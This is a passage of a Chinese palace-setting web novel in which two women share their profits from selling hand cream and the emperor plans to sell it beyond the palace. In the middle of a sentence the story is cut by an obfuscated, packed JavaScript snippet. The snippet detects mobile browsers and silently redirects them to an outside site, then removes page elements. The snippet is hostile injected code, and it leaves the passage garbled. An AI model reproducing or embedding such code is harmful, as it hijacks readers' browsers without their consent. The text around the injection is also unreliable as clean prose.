李黎十分有眼色地沿着嘴角做了个拉拉链的动作。 眨巴着漂亮的大眼睛,询问她怎么回事儿? 石婉晴神秘笑笑,来到桌前。 在李黎瞪大的眼眸中拿出了三厘米厚的银票。 李黎的眼睛越瞪越大,也越来越亮,那程度都快赶上大瓦灯泡了。 “这是……银票?这么多钱,哪里来的?” 说起这个,石婉晴翘起的嘴角就收不下来了,看着李黎的目光就像是在看财神爷。 “哈哈哈,这些啊都是卖护手霜赚来的,除了投入的本金外,我们净赚一千三百五十四两银子!” “真的吗?” 李黎的小嘴张成“O”型,一千多两,那换算成人民币是多少? “一两银子是1000块,那一千三百两岂不就是……哈哈哈,发了发了!” 李黎眼中的晶亮更甚。 这样转换一下,四舍五入她也算是个百万富翁了吧? 利润平分,那也算半个了! 想想心里就美得冒泡。 “嘿嘿嘿……嘿嘿嘿……” 作为穷人乍富的典型,李黎一整个乐不思蜀了。 “李黎?李黎?” 石婉晴抬手在她面前挥了挥。 “啊?什么?” 李黎下意识擦了擦嘴角不存在的口水。 讪讪笑了一声,“不好意思啊,婉晴,我刚刚走神了!” 石婉晴僵笑着点了点头,“理解,理解。” 她盘点儿的时候,也被吓了一跳。 做暗卫十年,也就差不多挣这么些银两。 呜呜呜,突然觉得暗卫是一份没有前途的职业。 不过,转念一想,那把做生意当成副业不就可以了,这样一来,不仅拿双份月例,而且再也不用为了几两碎银到处奔波了,那些个漂亮衣裳,拿下拿下,哦吼! 想想就美好的紧啊! 和李黎互相对视一眼,都能看到彼此眼中的舒爽与兴奋。 “嘻嘻嘻……” “嘿嘿嘿……” 于是,在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024926|194355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别的午后,紧闭的东元殿内,两人将千两银票平分,而后,石婉晴带着空着的餐盒“飘飘然”离开了。 —— 凌云殿。 刘景看着石婉晴上书的折子,一整个眼睛慢慢瞪大,呼吸逐渐粗重。 身旁站立的刘盛骤然注意到他的情况,心中一紧,“陛下,您没事儿吧?” 刘景放下手中的折子,没有说话,而是呼出一口浊气。 平静下来,“朕没事。” 就在刚刚,他在心里算了个可怕的数字,短短几天,暗七她们就赚到一千三百两银子,那他要是卖遍整个乾元甚至是番邦呢? 想到这里,刘景的心中顿时一片火热,这下,他空虚已久的国库总算能填满了。 两个人的小打小闹,换来国库的盆满钵满,刘景在心中,已经将李黎天命之人的身份信了大半。 毕竟,只有真正的天命之人才会给乾元注入新的“活力”! 当即,刘景便对着刘盛吩咐道:“刘盛,你把暗七替朕叫来。” “是,陛下!” 刘盛躬了下身子就去办了。 不消一会儿,石婉晴就出现在凌云殿的大殿内。 “参见主子!” 刘景连忙摆手,“快起来吧,朕想询问你些事儿,你如实答来。” “是。” 心中暗自猜测主子把她叫来恐怕跟她上的折子脱不了关系。 果然,“暗七,你上奏的折子里所说的都是事实?” “回主子,是真的。” 刘景继续问道:“只是一个手脂竟然引得宫女们争相购买,这是何道理?” 没错,这正是刘景有所疑问的地方。 既不是粮食,也不是什么金银首饰,一个小小的手脂而已,哪里都有卖的,为什么李黎她们的手脂,呃……这个叫护手霜的东西会有人垂青? 石婉晴抬起头,微微一笑,“主子,您看属下与之前相比可有什么变化?” 刘景闻言,身子前倾,上下打量了她一番。 说实话,刘景之前还真没怎么关注过她。 打量了一番,也没发现有什么特别的。 人不还是那么个人吗?有什么不同? 转头看向刘盛,“刘盛,你认为呢?” 刘盛笑着看了石婉晴一眼,道:“陛下,老奴瞧着暗七似乎比之前倒是白了不少,也更年轻了些,整个人的精气神都不一样了呢! 石婉晴点头如捣蒜,下意识竖起个大拇指,这是跟李黎学的。 “没错,刘公公,您说太对了,主子,这就是这款护手霜的魅力所在。 不单是宫中的宫女们争相购买,就连宫中的娘娘们都买了不少,她们直接将护手霜取代花露,敷在脸上,效果很好。” 刘景沉默,说到底就是这款护手霜的实用效果强大。 “那如果朕想让你把这款护手霜放到宫外售卖,如何?” 闻言,石婉晴一下怔愣住了。 “主子,您说的是真的? 刘景帝王威严倾泻而出,“朕什么时候开过玩笑?” 石碗晴瞬间狂喜,而后很快冷静下来。 略带一丝犹豫道:“主子……那这件事儿不用和李黎商议一番吗?” 刘景一愣,他向来奉行“普天之下,莫非王土”,还真没关注到这一点,换做其他人,高兴还来不及呢。 可如果这套奉行放在“天命之人”的身上,就不得不让他陷入思索了。